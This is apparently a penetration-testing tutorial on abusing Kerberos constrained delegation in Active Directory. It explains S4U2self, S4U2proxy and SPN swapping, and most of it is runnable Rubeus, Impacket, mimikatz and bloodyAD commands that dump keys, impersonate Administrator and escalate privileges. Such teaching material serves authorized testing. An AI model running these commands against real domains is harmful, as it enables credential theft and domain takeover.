Constrained Delegation

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Constrained Delegation

Using this a Domain admin can allow a computer to impersonate a user or computer against any service of a machine.

  • Service for User to self (S4U2self): If a service account has a userAccountControl value containing TrustedToAuthForDelegation (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
  • Service for User to Proxy(S4U2proxy): A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.

Note: If a user is marked as ‘Account is sensitive and cannot be delegated ’ in AD, you will not be able to impersonate them.

This means that if you compromise the hash of the service you can impersonate users and obtain access on their behalf to any service over the indicated machines (possible privesc).

Moreover, you won’t only have access to the service that the user is able to impersonate, but also to any service because the SPN (the service name requested) is not being checked (in the ticket this part is not encrypted/signed). Therefore, if you have access to CIFS service you can also have access to HOST service using /altservice flag in Rubeus for example. The same SPN swapping weakness is abused by Impacket getST -altservice and other tooling.

Also, LDAP service access on DC, is what is needed to exploit a DCSync.

# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json

# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt

Cross-domain constrained delegation notes (2025+)

Since Windows Server 2012/2012 R2 the KDC supports constrained delegation across domains/forests via S4U2Proxy extensions. Modern builds (Windows Server 2016–2025) keep this behaviour and add two PAC SIDs to signal protocol transition:

  • S-1-18-1 (AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY) when the user authenticated normally.
  • S-1-18-2 (SERVICE_ASSERTED_IDENTITY) when a service asserted the identity through protocol transition.

Expect SERVICE_ASSERTED_IDENTITY inside the PAC when protocol transition is used across domains, confirming the S4U2Proxy step succeeded.

Impacket / Linux tooling (altservice & full S4U)

Recent Impacket (0.11.x+) exposes the same S4U chain and SPN swapping as Rubeus:

# Get TGT for delegating service (hash/aes)
getTGT.py contoso.local/websvc$ -hashes :8c6264140d5ae7d03f7f2a53088a291d

# S4U2self + S4U2proxy in one go, impersonating Administrator to CIFS then swapping to HOST
getST.py -spn CIFS/dc.contoso.local -altservice HOST/dc.contoso.local \
         -impersonate Administrator contoso.local/websvc$ \
         -hashes :8c6264140d5ae7d03f7f2a53088a291d -k -dc-ip 10.10.10.5

# Inject resulting ccache
export KRB5CCNAME=Administrator.ccache
smbclient -k //dc.contoso.local/C$ -c 'dir'

If you prefer forging the user ST first (e.g., offline hash only), pair ticketer.py with getST.py for S4U2Proxy. See the open Impacket issue #1713 for current quirks (KRB_AP_ERR_MODIFIED when the forged ST doesn’t match the SPN key).

Automating delegation setup from low-priv creds

If you already hold GenericAll/WriteDACL over a computer or service account, you can push the required attributes remotely without RSAT using bloodyAD (2024+):

# Set TRUSTED_TO_AUTH_FOR_DELEGATION and point delegation to CIFS/DC
KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.corp.local'

This lets you build a constrained delegation path for privesc without DA privileges as soon as you can write those attributes.

  • Step 1: Get TGT of the allowed service
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

Warning

There are other ways to obtain a TGT ticket or the RC4 or AES256 without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse

Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.

  • Step2: Get TGS for the service impersonating the user
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local

#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

More information in ired.team. and https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61

References

Tip

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